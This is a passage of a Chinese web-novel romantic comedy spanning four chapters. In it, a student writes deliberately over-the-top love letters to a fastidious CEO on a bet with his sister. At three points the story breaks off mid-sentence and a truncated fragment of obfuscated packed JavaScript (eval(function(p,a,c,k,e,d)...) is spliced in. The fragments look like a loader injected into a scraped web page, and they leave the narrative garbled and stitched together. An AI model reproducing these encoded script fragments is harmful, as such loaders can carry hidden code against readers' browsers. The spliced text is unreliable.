《潦草情书》 1. 第一封 文《潦草情书》 2025.7.11 晋江文学城独家发表 「亲爱的秦总,第一次砍(划掉)看到您,您高挺的鼻梁像山脊般让我驻足,深邃的眼眸里藏着整片银河。您一笑,我的心就坠入云层,软得不像话。 后来我总偷偷想,那天阳光是不是故意的?不然怎么会把您照得怎么(划掉)这么好看,仅一眼就让我丢掉了所有理智。」 ——来自慌慌张张·爱您的书儿。 江望知推开总裁办公室的门时,秦砚奚正在和分公司经理视频会议。 落地窗外,午后的阳光斜斜地洒进来,为他棱角分明的侧脸镀上一层淡金色的光晕。 江望知将手中的资料放在桌上,正准备退出去,秦砚奚朝他比了个手势,示意他整理桌上堆积的文件。 江望知心领神会,熟练地将市场部的季度报表、财务预算表分门别类归置。 即将完成时,他的手指突然碰到一个淡粉色的信封。 信封的颜色与秦砚奚黑白灰三色统治的办公桌格格不入。 而且它没有封口,一角微微翘起,像是被人匆忙塞进文件堆里藏起来的。 江望知下意识地瞥了眼专注开会的秦砚奚,见他没看自己,鬼使神差地抽出里面的信纸。 “亲爱的秦总…” 看到开头,江望知差点被自己的口水呛到,表情管理险些失败。 如果他没看错,这应该是情书吧? 江望知忍不住腹诽,连秦砚奚这种古板到西装扣子要系到最上面一颗的人,都知道发条微信约人吃饭。 这姑娘倒好,直接手写情书? 江望知快速扫过内容,不看还好,一看全身上下泛起一层鸡皮疙瘩。 作为常年混迹各大社交平台的5G冲浪选手,此时此刻,他脑子里蹦出的只有两个大字:油腻。 江望知具体说不上来哪儿油腻。 大概表白对象是不苟言笑、一板一眼的秦砚奚,所以分外油腻。 “江助理?”分神之际,秦砚奚温润磁性的声音从他背后传来。 “秦总,会议结束了?”江望知回过神,迅速将信纸塞回信封,假装在整理文件。 秦砚奚摘下金丝眼镜,揉了揉高挺的鼻梁。 修长白皙的手指在阳光下显露出浅浅的青色纹路,他疲惫道:“嗯,美国那边松口了。” 见江望知神色怪异,秦砚奚端起茶杯抿了一口,问道:“你手里拿的是什么?” “啊,这个…”江望知一时语塞,想了想,强忍笑意揶揄道,“您的书儿写给您的情书。” 秦砚奚拧眉:“什么?” 江望知:“字字铿锵,感人肺腑的情书。” “处理掉。” 秦砚奚并不在意情书的内容,也不关心写信的人,抛下三个字,继续伏案工作。 江望知惋惜地摇了下头,他想起公司女同事私下对秦砚奚的评价:秦总好看得不像真人,像是从古典油画里走出来的矜贵又冷淡的贵族。 丝毫不夸张。 秦砚奚五官生得极好,眉骨高,眼窝深邃,鼻梁高挺,下颌线条干净利落,唇形饱满,不笑时显得冷峻,笑时又莫名带点蛊惑人心的意味。 江望知抱着做善事的心态,着实不忍看到情书被扔进垃圾桶,劝道:“扔?这是女孩子的心意,亲爱的秦总,您不看看吗?” 语气里的熟稔明显超出了正常上下级的界限。 秦砚奚抬起头,金丝眼镜后的目光划过明晃晃的警告:“江助理。” 三个字让江望知收敛了些,他立刻恢复职业化的站姿,“抱歉,秦总。” 秦砚奚:“行了,先出去吧。” “好的。”江望知作势要将信封扔进垃圾桶,但在最后一秒改变了主意。趁秦砚奚打电话的功夫,他将信封塞进秦砚奚挂在衣帽架上的定制西装内袋。 * 晚上六点三十分,秦砚奚推开家门,将西装外套递给迎上来的保姆张姨。 “秦先生回来了,晚饭已经准备好了。”张姨接过外套,抚平上面的褶皱。 “嗯,辛苦。” 秦砚奚松开领带,走进餐厅,母亲路婉和妹妹路墨已经等候他多时。 “哥,你回来啦!”路墨嘴里还嚼着零食,看到秦砚奚,含混不清地打招呼,“我好饿。” 她今天穿了秦氏集团前台制服,一件雪白的立领衬衫,领口别着银色工牌,平时总是乱蓬蓬的头发被扎成高马尾,露出光洁的额头。 和以往窝在沙发上啃薯片,睡衣上总沾零食碎屑的邋遢模样判若两人。 “哥,我好看吗?”路墨眨了眨眼睛,站起身向秦砚奚展示她的新衣,“得亏你妹我身材好,不然铁定像个销售。” “一般。”秦砚奚面无表情评价道。 路墨握紧拳头,对着空气来了两下。 三人落座。 秦砚奚在路婉旁边坐下。 路婉接过张姨盛好的米饭,给路墨夹了一块鱼肉后,侧头叮嘱秦砚奚:“砚奚,小墨今天第一天去公司实习,有什么不懂的,让她过来问你。” 没等秦砚奚开口,路墨先插话:“我才不想让别人知道我和哥哥的关系呢,我要靠自己的实力。” 秦砚奚慢条斯理地用筷子夹起一块鱼肉,动作优雅地将鱼刺剔除干净。 鱼肉雪白,沾着几滴琥珀色的酱汁,他尝了一口,说道:“前台需要什么实力?接电话、收快递?” “哥。”路墨放下筷子,气鼓鼓地瞪大眼睛,“前台怎么就不需要实力了?我今天光是背各部门分机号就背了一下午。” 她掰着手指细数,“要记住所有高管的姓氏和长相,要会操作访客登记系统,还要……” 还要溜进你的办公室送情书。 “我本来可以躺在空调房里吃冰淇淋的!”路墨越想越郁闷,幽怨地瞪了秦砚奚一眼,“都怪你非要我去工作……” “你也不小了。”秦砚奚惜字如金,简短地回应,“好好干。” 说完,他又补一句:“明天抽查。” 路墨:“……?” 秦砚奚和路墨是亲兄妹,同父同母不同姓,秦砚奚和父亲姓秦,路墨和母亲姓路。 从小到大,路墨对秦砚奚的感情很复杂,又爱又恨。 爱,是因为秦砚奚是她的亲哥哥,而且他长得帅,比电视上任何一个男明星都要帅。 恨,是因为秦砚奚从来不会像别人的哥哥那样,会温柔地抚摸她的头,或者笑问她今天过得怎么样。 秦砚奚对她永远都是一副疏离的模样,不冷不热,不咸不淡,时不时还要讽刺挖苦她几句。 路墨苦哈哈地嚼碎米饭。 被剥夺暑假两个月的自由时间,她本就对秦砚奚的怨气扶摇直上,现在秦砚奚又要想方设法折磨她。 太可耻,太过分了! 既然逃不开工作的悲惨命运,漫漫暑假,就应该找点乐子。 路墨捏紧拳头。 不解风情的老男人,看我不整整你。 餐厅又陷入安静,只有餐具碰撞的清脆声响。 路墨时不时偷瞄秦砚奚,一副欲言又止的表情。 “哥…”终于,她忍不住开口,“今天公司有没有发生什么有趣的事啊?” 秦砚奚:“食不言。” “哎呀,说说嘛。”路墨不依不饶,“真的什么都没发生吗?” 秦砚奚放下筷子:“没有。” 路墨皱起眉头,小声嘀咕:“怎么会…” 她明明趁中午没人的时候,把言书写的情书偷偷放在秦砚奚办公桌最显眼的位置。怕秦砚奚将情书当垃圾扔掉,她还特意打开了一角。 难不成被公司哪个暗恋秦砚奚的妖艳贱货私藏起来了? 正当路墨百思不得其解时,张姨拿着一个粉色信封走到秦砚奚身边:“秦先生,这封信要如何处理?我在您外套口袋里发现的。” 秦砚奚抬起头:“是什么?” 路墨的眼睛一亮,扔下筷子站起身,抢着从张姨手里拿过信封,打开后兴奋地喊,“哇!哥,有人给你写情书呢!” 闻言,路婉的筷子停在半空,眼睛微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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想到这儿,秦砚奚从容地从路婉手中接过情书,对两人探究的目光视若无睹,起身离开餐桌,“妈,我先上楼,您慢用。” 秦砚奚来到书房。 房间墙上错落悬挂着几幅名家水墨,一幅《远山寒林》,笔意苍劲,墨色浓淡相宜,山峦在云雾间若隐若现;另一幅《竹石图》,笔锋凌厉,竹叶似刀,嶙峋怪石间透着一股孤高清傲。 他的书房不见半分浮华,处处透着文人风,墨香、书韵、画意,无一不精,无一不雅。 秦砚奚正想将情书扔进垃圾桶,但想了想,还是打开了它。 只是看到字体的一刹那,他的太阳穴突突猛跳。 能看懂,但字体龙飞凤舞。横不像横,竖不像竖,撇捺如蚯蚓爬泥,转折处潦草得令人发指。 秦砚奚的字,是圈内出了名的漂亮。 他从小师从书法泰斗沈墨白,习的是正统欧体楷书,后又兼修行草,笔锋凌厉处如刀削斧凿,转折圆融时似流水行云。 业内流传一句话:秦总的签名,比合同本身还值钱。连沈老都称赞他“字如其人,风骨天成”。 可现在,眼前这封情书上的字,简直是对他二十年书法修养的挑衅。 最让他难以忍受的是被划掉的“砍”字,力道极大,在“看”字旁边留下一道丑陋的墨痕。 作为一个讲究“字纸不可轻亵”的书法家,这种粗暴的涂改方式无异于是在他雷区上蹦迪。 秦砚奚抬手揉了揉太阳穴,感觉自己的审美正在遭受前所未有的冲击。 他起身走到书柜前,从最上层取下一本《兰亭集序》字帖,快速翻看了几页。 王羲之清隽飘逸的字迹像一剂良药,稍稍抚平了他被伤害的视觉神经。 但当他的目光重新落回情书时,被冒犯的感觉又卷土重来。 丑得秦砚奚开始怀疑,这封情书是不是新型的精神攻击。 * 路墨回到房间,立刻反锁房门,扑到床上,掏出手机,给言书发消息。 路墨:「言言!大新闻!!!」 她连发三个感叹号,手指在屏幕上敲得飞快,嘴角疯狂上扬。 路墨:「小道消息,听说秦总把你的情书带回家了!!!」 路墨:「看来秦总很喜欢你的表白文学!!!再接再厉」 路墨:「明天继续恶心秦砚奚!!!」 路墨撤回了一条消息。 路墨:「明天继续追秦总!!!」 2. 第二封 「秦总,您不知道您一笑,我的心就变成Q.Q糖,又软又弹,恨不得能躺在您温柔的唇齿间。 后来我天天偷看您的照片流口水,手机屏幕都被我舔花了。您一定在我心里种下了相思蛊,不然我怎么满脑子都是您的脸、您的腰……还有您的喉结,真让我想入非非啊!」 ——来自可可爱爱·爱您的书儿。 言书写完《最后一班地铁》,将剧本发送给B站一位初出茅庐的新人导演。 她伸了个懒腰,活动了下有些僵硬的脖颈,随即新建文档,开始构思第二封情书。 一分钟后,她心满意足地欣赏起第二封情书的内容。 * 一周前,咖啡厅。 路墨趴在桌上,不顾周围人异样的目光,哭丧着脸哀嚎:“言言,我完了!暑假要被拉去打工,老板还是个变态!” 言书正翻看手中的言情小说:“哦?有多变态?” “超级变态!”路墨咬牙切齿,“整天板着一张脸,动不动就扣人奖金,还特别龟毛,文件页码没对齐都要骂人!” 言书翻了一页书,被言情小说荼毒的她给路墨出了个馊主意:“那你去勾搭他啊,开展一段办公室恋情,把他变成你的舔狗,这不就翻身做主人了?” 路墨听到,若有所思地摩挲着咖啡杯。 言言说的,话糙理不糙。 要是让言言成为自己的嫂子……不行不行,哥哥哪能配得上言言,她不能把言言往火坑里推。 两秒后,路墨凑近言书,可怜兮兮问:“言言,暑假好无聊,要不我们干点有意思的事吧?” 言书眼睛一亮,挺直腰杆:“酒吧还是蹦迪?我最近胖了两斤,新买的吊带可能有点紧,等我先减肥。” 路墨汗颜:“……不是,我想和你打个赌。” “什么赌?” “你要是能追上我老板,我包你两年的晚饭!” 言书挑眉:“……你认真的?” 路墨头如蒜捣。 言书合上书,义正词严:“不行,我有原则,不能干缺德事。” 路墨立刻变脸,骂骂咧咧道:“可他是个渣男,平时仗着有权有势,专门欺骗无知少女!” 言书皱眉:“真的?” “千真万确。”路墨演技爆发,眼眶都红了,“有一天晚上…他还摸了我的手!” 言书信以为真,愤怒之下,拍桌而起:“什么?” 这一乍乎,周围一圈人又递来奇怪的目光,言书悻悻坐下,放轻音量,“这么严重?” 事实上,那天的情况是这样的。 路墨拽着秦砚奚的袖子耍赖:“哥哥~我真的不想去上班~” 秦砚奚置若罔闻,冷脸甩开她的手,并警告她:“路墨,你长大了,要和异性保持距离。” 路墨好说歹说,撒泼打滚都没让秦砚奚松口。 但言书不知道。 她只看到好友委屈巴巴的样子,顿时火冒三丈:“这种渣男,必须给他点教训,小墨,不要怕,我们报警好吗?” 路墨垂头丧气摇头,“言言,虽然我是富二代,但我老板比我更有权有势,我家多亏有他,生意才能做得这么顺,要是没有他,我就要风餐露宿了。” 言书不太懂商界的弯弯绕绕,但按照她平时看的小说里的套路,有钱人的利益都会盘根错节地绑在一起,牵一发而动全身。 言书叹了口气,事情变得棘手无比。 “所以…”她斟酌着用词,“要是真把你老板惹毛了,会连累到你家的生意?” 路墨抓住机会,顺杆儿爬上:“对的言言,你要帮我报仇,玩弄他的感情,再狠狠甩了他!” 总之,在路墨泪眼婆娑的注视下,言书稀里糊涂答应了,等反应过来后,木已成舟,为时已晚。 既然要拿下秦砚奚,知己知彼才能百战不殆。 第二天,言书拿起手机,给路墨发条消息: 言书:「你老板平时喜欢什么?」 路墨秒回:「装逼的东西。」 言书:「……」 言书:「比如?」 路墨:「毛笔字,水墨画,古董茶具,还有那种老掉牙的黑胶唱片。办公室挂的都是名家字画,用的钢笔是万宝龙限量款,连喝个茶都要讲究水温、水质、茶具」 路墨又补一句,「哦对了,他写字特别好看,沈墨白的关门弟子,装逼得很。」 言书眯眼思索。 喜欢传统,讲究格调?那她就给他写情书。 写酸到掉牙的、肉麻至极的、矫揉造作到令人恶心的情书。 * 其实,言书答应追秦砚奚,除了帮路墨“报仇”和白嫖两年的晚饭之外,还有另一个原因,她真的太无聊了。 她嫂子开了一家专出版狗血言情小说的出版社,天天逼她校对那些给青春少女看的文稿。什么《霸道总裁爱上我》《冷面王爷的小娇妻》…… 剧情一个比一个离谱,文笔一个比一个尴尬。 比如,替身女主被威亚甩飞,撞破剧组搭的古代婚房布景。红绸缠绕间,女主精准砸中正在试戏的影帝男主,喜秤挑落盖头那刻,两人牙齿磕在一起的声响全场清晰可闻,导演激动大喊:“这条过了!真实反应!” 又比如,跳楼自杀的女主砸穿一楼泳池,正好撞上正在憋气的集团太子,两人被救生员打捞上来时嘴唇还黏在一起。 再比如,富二代飙车撞飞赶面试的女主,女主的身体穿过碎裂的挡风玻璃,精准跌进富二代怀里,两人唇瓣相贴时安全气囊才“嘭”地炸开。 言书今天看完三本小书,感觉自己的智商被按在地上反复摩擦。 她摸了摸额头,上周不小心撞到门框上留下的包依然顽固地凸起着。要是按这些小说的套路,她当时应该直接穿越到兽人世界当万人迷才对,身后跟着九九八十一位兽夫,每天光是分配侍寝名额就能引发部落战争。 言书心想,既然这些狗血剧情能恶心她,那她为什么不能写点更肉麻的东西,去祸害别人? 所以她决定让秦砚奚这位道貌岸然的霸总也体验一下被狗血语言支配的恐惧。 毕竟恶心到极致就是艺术。 言书很有自知之明。她不觉得自己有资本能追上身价过亿的总裁,但她能用文字当武器,尽一些微薄之力,替路墨报仇。 看,穷人的报复手段就是这么朴实无华且穷。 这时,手机震动。 言书拿起手机,是路墨发来的消息。 路墨告诉她秦砚奚喜欢她的表白文学。 言书难以置信,有种荒谬的感觉,她原本是想恶心秦砚奚的,结果反而…取悦了他? 这算什么?弄巧成拙? 还是说秦砚奚其实是个隐藏的土味情话爱好者? 完了,她可能误判了对手的段位。 言书原本以为,秦砚奚这种温润、讲究格调的“精英”,骨子里肯定最反感这种肉麻兮兮的表白方式。 可现在看来他或许是个闷骚。 想到这里,言书把第二封情书拍照发给路墨。 路墨被成功恶心到了,第二封比第一封更加恶心。 路墨回复:「不错,文采斐然,只是字略微丑,不过无伤大雅。」 翌日7:15。 言书站在出版社大楼的拐角处,时不时低头看表。 她今天提早出门,就为了能在路墨上班前完成一场秘密交接。 五分钟后,路墨的身影准时出现在街角。 言书左右张望,而后从包里掏出信封,动作快得像是在交易毒品:“给,第二封。” 路墨接过,鼻腔闻到一股甜腻的味道。 她拿起信封嗅了嗅,由衷地夸赞道:“哇,还喷了香水?言言,你这招高明啊!” 言书嘚瑟道:“那当然,跟小说学的。没有人能拒绝甜美的蜜桃味。” 她可是最喜欢水蜜桃的味道了,香甜又可口。 “什么?”路墨刚踏出一步,又折返回来,“你说这是蜜桃味?” 言书:“是啊,你闻不出来?” 路墨表情一变:“秦砚奚那个老古板对桃子的毛过敏,他最讨厌吃桃子,所以很讨厌水蜜桃的味道。” 言书:“……” 精准踩雷。 “算了。”路墨把信封塞进自己的口袋:“没关系,我问前台姐姐借一下她的香水,只要能盖过桃子味就行了。” 言书右手握拳:“……加油。” 7:45,路墨站在集团一楼的前台。 作为前台,她必须比其他员工早到半小时。 员工陆续进入大楼,路墨始终保持标准的微笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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路墨强忍住不躲闪,但秦砚奚的目光太过锐利,她心里发毛,只好扬起一个灿烂的笑容,率先结束话题:“祝秦总度过美好的一天。” 整个大堂鸦雀无声。 所有人都屏住呼吸,等着看秦砚奚的反应。 秦砚奚捏了捏信封,最终什么也没说,转身走向专属电梯。 直到电梯门关上,大堂才重新出现窸窸窣窣的声音。几个女员工立刻围到路墨身边。 “路墨,你胆子也太大了!” “那是情书吗?谁给秦总写情书啊?” 路墨装模作样地整理前台的文件:“我也不知道呀,我就是个无情的转交机器。” 上午,秦砚奚刚开完会回到办公室,请假半天的江望知站在门口,脸上挂着促狭的笑容。 “秦总。”江望知推了推眼镜,语气里带着明显的调侃,“听说今天有人给您送了999朵玫瑰?” “什么?” 江望知笑得意味深长:“公司都传疯了,说前台的路墨给您送了巨型花束,还附赠一封手写情书,堂而皇之在公司向您告白。” 秦砚奚大步走进办公室,“砰”地关上门,将外面的窃窃私语隔绝在外。 “昨天,为什么不处理掉?” 江望知装傻充愣:“秦总,您说的是情书吗?我看她写得挺真情实感的,扔掉可惜,话说今天的情书也一定很感人吧?” 秦砚奚从抽屉里拿出粉色信封,啪地拍在桌上。 江望知拿起情书,看完后夸张地盯着秦砚奚的喉结,声情并茂地念出内容:“您的喉结让我想入非非,多么真挚的表白啊,不错不错,这次没有错别字了。” 秦砚奚额角青筋直跳:“江助理,你在看什么?” “好吧好吧。”江望知见好就收,举起双手做投降状,“我承认我是故意的,昨天把信放进你的口袋,就想看看你会有什么反应。” 在秦砚奚生气之前,江望知补充道:“秦总,我会通知下去,公司禁止谈论与工作无关的内容,还有秦总,路墨是您的妹妹,这件事需要通知吗?” 秦砚奚:“不用。” 等江望知离开后,秦砚奚找到路墨:「以后不要接受任何人的东西」 发完消息,他毫不犹豫地将情书扔进垃圾桶。 这种低水平的恶作剧,到此为止。 然而,他不知道的是,此时此刻,言书正在写第三封情书。 而且,比前两封还要肉麻。 3. 第三章 「秦总,第一次靠近您时,您身上淡淡的雪松混着阳光的味道让我瞬间腿软。您身上温暖干燥的气息,像刚被晒过的羊毛毯,让我忍不住想埋进您的颈窝深呼吸。 后来我偷偷把您的外套藏进衣柜,每天晚上都要抱着才能睡着。您打完球时微微汗湿的T恤闻起来像海风一样清爽,连您用过的纸巾都带着淡淡的雪松香(我是不是没救了?) 您是我戒不掉的氧气,每一口都要带着你的味道才够甜。」 ——来自战战兢兢·胆小的书儿。 * 烧烤摊,烟火气缭绕。 下班后,言书和路墨挤在一张小塑料桌前,面前堆满了烤串、啤酒和毛豆。 路墨从言书手中接过第三封情书,刚看了两行,眼睛瞪得溜圆,再配合反胃的表情,一言难尽地开口:“言言,你这写得也太……” “太什么?” “太离谱了吧!”路墨指着其中一段,“您打完球时微微汗湿的T恤闻起来像海风一样清爽?你什么时候拿过他的T恤了?” 言书摆摆手,一脸理所当然:“艺术加工嘛,我想把自己塑造成一个学生时代就暗恋他的人。” 路墨嘴角抽搐:“可我老板是在国外读的书。” “嘿,这不巧了。”言书胡说八道,“我也是。” “……” 路墨又往下看了一段,表情更加错综复杂:“还有这个,''您身上淡淡的雪松混着阳光的味道''……言言,我老板从来不用雪松味的香水。” 言书挠了挠头发,这下触及她的知识盲区了,她思索片刻:“那我改成体香?” 改完后,她自己都忍不住抖了抖:“完了,更像个变态了,我感觉我在性.骚扰你老板。” 路墨幽幽道:“那不正好?” 一想到秦砚奚看到情书的内容,她乳腺都畅通了,神清气爽,精神百倍。 路墨本以为言书是个幸运儿,误打误撞踩到了秦砚奚的喜好中,结果没想到,江望知私下告诉她,情书是他塞进秦砚奚的口袋的,秦砚奚不仅不喜欢,反而很嫌弃,这让她白高兴一场。 但换个角度一想,只要能让秦砚奚不快,什么做法都行。 解决完信的事,言书咬了一口滋滋冒油的羊肉串,油脂顺着嘴角滑下,她用纸巾擦了擦,叹了口气。 “我今天又看了一整天的霸总小说,”言书灌了一口冰啤酒,“小墨,你知道最离谱的是什么吗?男主把女主按在电梯里亲,亲着亲着突然说‘女人,你成功引起了我的注意’,哈!这是什么上世纪八十年代的台词?” 路墨正啃着一串烤鸡翅,闻言差点笑喷:“这算什么?我前几天看的那本才叫绝,男主为了证明自己爱女主,直接收购了一家医院,就因为女主随口说了句''医院的消毒水味好难闻''。” 言书摇头:“哎。” “那你现在对霸总还有滤镜吗?”路墨眨眨眼,坏笑着问。 如果她没记错,大一刚开学那会儿,言书还许愿能和霸总谈一场轰轰烈烈的爱情。 言书用竹签戳了戳盘里的烤茄子,蒜蓉和辣椒的香气扑鼻而来。 她思考了一会儿,才说:“滤镜是没了,但……” 路墨歪头:“但什么?” “但这不影响我想谈恋爱啊!”言书笑起来,漆黑的眼睛在夜市昏黄的灯光下亮晶晶的,像两颗闪烁的星星,“谁不想要个又帅又多金的男朋友?” 路墨眼睛冒光,让言书成为她嫂子的想法又开始蠢蠢欲动,她问:“那如果…我是说如果,有一个特别帅的霸总喜欢你,你会答应吗?” 言书咬了一口烤得焦香的五花肉,她不甚在意地问:“多帅?” “就……”路墨回忆自家哥哥的长相,“巨帅!帅得要命!” 言书:“……也得看性格。” 路墨:“性格有点冷漠,稍微不近人情,可能还有些古板。” 言书侧眸:“怎么听着像你的老板?” 路墨干笑两声,“当然不是,我老板丑的一批。”越说越没底气,她又补充道:“反正很冷漠。” “谈恋爱又不是看雕塑。”言书曲解了路墨的意思,以为霸总患有隐疾,那方面冷漠,“要亲要抱要睡的好吗?要是那方面不行,我找他干嘛?不要。” 路墨:“……” 她默默把“我哥其实很行”这句话咽了回去。 因为她也不知道她哥行不行,他哥连个女朋友都没有,她都没法求证。 烤架上的炭火噼啪作响,老板又送来一盘刚烤好的韭菜和馒头片。 “不过话说回来。”言书边吃边说,“这种极品霸总怎么可能看上我?我一没家世二没背景,就一普通大学生。” 路墨张了张嘴,又闭上,她心里有点愧疚,她和言书认识三年,她从来没有详细告诉过言书她的家庭背景,言书甚至都不知道她有一个哥哥,更不知道她哥哥就是秦砚奚。 “言言。”路墨想了想,掏出手机,“要不,我给你介绍对象吧!你不是一直想谈恋爱吗?” “啊?”言书还没反应过来,就被路墨搂住肩膀。 手机镜头里,两个姑娘脸颊微红,对着镜头比耶,背景是烟雾缭绕的烧烤摊,烟火气十足。 拍完照,路墨神秘兮兮地说:“我一定给你找一个大帅哥。” 言书不以为意,她的x癖很多很复杂,光从外貌来说就数不胜数,这无异于大海捞针。 她笑了下,故意难为路墨,一鼓作气说道:“行啊,我的要求可高了,身高190,声音低沉磁性,八块腹肌,公狗腰,人鱼线,不能是牛蛙,双眼皮,高鼻梁,微笑唇,皮肤白,气质要好,智商要高,身价过亿,嗯,最好喉结上有一颗小痣。” 说来也巧,所有条件秦砚奚正好满足。 若不是确定言书从未见过秦砚奚,路墨几乎要怀疑她照着自家哥哥模样在提要求。 “言言,你要不要这么直接!而且一米九,能干死你!” 言书顿了顿,俏皮眨眨眼:“最重要的是,器大活好,高低得来个二十厘米,婴儿手臂粗细吧。” 路墨再一次被呛到,捂着嘴咳嗽两声,“言言,你是一本小说都没白看啊。” 关于长度粗细这两点,路墨是真的没办法确认。但如果按照小说中以喉结、鼻子作为评判的依据,秦砚奚应该很卓越,言言一胎怀十个不是问题。 有点夸张了。 “这有什么。”言书满不在乎地又开一瓶啤酒,溢出来的泡沫沾湿了她的手指,“成年人谈恋爱,不就图个身心愉悦吗?要是不行,我买个□□不香吗?” 路墨“呵呵”两声,斜眼睨她:“打嘴炮吧。” 言书坚定道:“单身久了,其实也挺想谈一段入室抢劫般的爱情的,再不济,我抢劫别人也行啊!要是遇到合眼缘的,你等着,姐当晚就把他拿下!” 路墨敷衍地鼓了一次掌,“好棒。” 言书又补充:“哦对了,不准把‘女人,你这是在玩火’、‘不要挑战我的耐心’、‘你逃到南极我也会把你抓回来’、‘医生,治不好她,你们全都别想活’这些台词挂在嘴边,我怕他一开口,我就绷不住笑场。” “……”路墨不说话了,开始编辑朋友圈,等发完后,把手机往桌上一扔,继续和言书撸串喝酒。 路墨又点了一份烤茄子,上面的蒜蓉被炭火烤得金黄发亮,她迫不及待夹起一块塞进嘴里,烫得直哈气。 言书笑她:“慢点吃,又没人跟你抢。” 路墨灌了口冰啤酒降温,完全没注意到手机屏幕不断亮起又熄灭。 半小时后,她摸出手机。 解锁的刹那,整个人僵住了。 「家族群(28)」 母亲:「@小墨你看你哥行吗?/微笑」 大伯母:「/微笑,这丫头,找对象找到自家人头上了?」 小姨:「小墨啊,你哥确实190,条件都满足了,就是不知道器大活好这条达不达标,/微笑」 七大姑八大姨最爱发黄豆微笑,一连串微笑看得路墨毛骨悚然。 路墨手一抖,糟糕,她忘记屏蔽家人了。 自从用微信后,路墨发每一条朋友圈都会精心设置分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说完,又祸水东引:「爷爷奶奶叔叔阿姨婶婶伯伯哥哥姐姐弟弟妹妹侄子侄女,你们快给哥哥介绍对象吧,他单身好可怜的!」 发送完毕,路墨悬着的心稍稍下去了一些,还没退出微信,朋友圈多了一个红点。 路墨点开一看,一激灵,差点把手机扔进烤鱼盘里。 从来没有给她点过赞的秦砚奚,居然给这条朋友圈点了个赞。 烤架上的炭火“啪”地爆出个火星,路墨盯着突兀的点赞,仿佛看见阎王爷在她的生死簿上打了个勾。 她犹豫再三,点开与秦砚奚的私聊窗口。 “哥...”路墨字斟句酌,“你怎么突然给我点赞了?” 消息发出去后,聊天框上方显示“对方正在输入...”,路墨的心提到了嗓子眼。 如果哥哥真的看上言言,那她现在挽回哥哥的形象还来得及吗? 秦砚奚回复得很快,但只有一个简单的问号:“?” 路墨壮着胆子继续问道:“你不会...看上言言了吧?” 聊天界面陷入长久的沉默。路墨紧盯屏幕,看着“对方正在输入…”的提示出现又消失,最后只等来秦砚奚简短的一句:「你在想什么?」 然后,就没有然后了。 次日清早。 路墨再也不敢招摇过市,而是偷偷摸摸把情书交给秦砚奚。 昨天事情闹大了。 不止家族群,还有公司群。 路墨记得昨天她很明确说了是帮别人转交情书,结果谣言就像滚雪球,越滚越大,今早全公司都在传她是秦砚奚的女朋友。 茶水间里,她亲耳听到几个女同事在窃窃私语,“听说了吗?路墨昨天给秦总送情书。” “难怪她能空降前台,原来是靠这种关系……” 不过,谣言很快不攻自破。 秦砚奚到公司没多久,江望知便来前台找路墨。 听江望知说,秦砚奚看到情书后,原本温和的脸顿时黑黢黢一片,心情不详、态度不详。 江望知的语气充满同情,拍了拍路墨瘦弱的背:“秦总让我通知你,今天下班前,把集团大楼所有女厕所打扫一遍。” 4. 第四封 路墨拎着拖把站在女厕所门口,把手机往兜里一塞,慢悠悠地晃进隔间。 扫厕所?开什么玩笑。 她路墨好歹是秦家大小姐,从小到大连拖把都没碰过,怎么可能真的乖乖听秦砚奚的话,屈尊降贵去刷马桶。 于是,她拧开水龙头,象征性地冲了冲拖把,然后往墙角一靠,掏出手机,点开微信。 路墨:「言言!我被罚扫厕所了!!!」 路墨:「快来救我!!!」 言书很快回复:「什么情况?你干什么了?」 路墨:「就……不小心惹我老板不快了。」 她没提情书的事,毕竟要是让言书知道秦砚奚是因为情书这事儿折磨她,那她肯定不会再写了。 那她的乐趣也就没了。 言书:「你老板这么狠?让你扫整个集团的厕所?」 路墨:「对啊,资本家没人性。」 言书:「那你现在不会真的在打扫吧?」 路墨得意地笑了笑,拍了一张自己靠在拖把上的照片发过去:「当然是摸鱼啊,谁要真的扫厕所。」 言书发来一个笑哭的表情:「不愧是你。」 晚上五点,言书按照路墨发的定位和通行证,来到秦氏集团总部。 这是她第一次踏进这座金融帝国的心脏。 一进大堂,她就被眼前的景象震慑住了,十几米高的穹顶,水晶吊灯折射出璀璨的光芒,大理石地面干净可鉴人,连前台的花瓶都是古董级别的青花瓷。 言书忍不住咋舌:“这也太有钱了吧。” 她给路墨发消息:「我到你们公司了,你在哪?」 路墨:「二十三层女厕所,快来!」 言书按照指示牌,乘电梯上了高层。 推开女厕所的门,她一眼就看到路墨坐在洗手台上,跷着二郎腿打游戏。 “下午你不是说要认真打扫吗,这就是你说的扫厕所?” 路墨抽空抬头,用力点头:“对啊,我扫得很认真。” 言书环顾四周,地上有水渍,拖把歪歪斜斜地靠在墙上,显然没怎么动过。 “……你管这叫认真?” 路墨理直气壮:“我至少把拖把打湿了。” 言书无语,走过去靠在洗手台边:“你不怕被你老板发现吗?” “他还在加班。”一提到“加班”两字,路墨心里就窝火,“他不走,我也不能走。幸好这一层大部分女性都出差了,卫生间才能这么安静,不然影响我打王者。” 言书看了眼时间:“这都几点了,他加班你也要陪着?” “资本家嘛。”路墨翻了个白眼,“压榨员工是他们的本能。言言快陪我打王者!” 一个半小时后。 秦砚奚站在卫生间门口,修长的手指拎着一个精致的纸盒。透过半透明的包装,能看见里面盛着一块蓝莓芝士蛋糕,上面点缀着新鲜的蓝莓和薄荷叶。 是路墨最爱吃的甜品,每天限时限量,他今天特意让江望知提前两小时过去排队,才买到一个。 作为哥哥,他太了解自己吊儿郎当的妹妹了。让她打扫卫生间,她必定阳奉阴违。 果然,江望知汇报说路墨在23层女洗手间打扫了一整天,中途还让人送了充电宝进去。 秦砚奚揉了揉太阳穴,有些无奈。 算了,反正他也只是想小惩大诫,以防路墨下班后又闹腾,带个蛋糕哄哄她。 秦砚奚其实很烦这种哄小孩的把戏。 作为秦氏集团的掌舵人,他每天要处理无数比哄妹妹重要得多的事务,并购案的谈判桌、董事会的明枪暗箭、永远看不完的报表……他没有精力也不愿意将精力花在路墨身上。 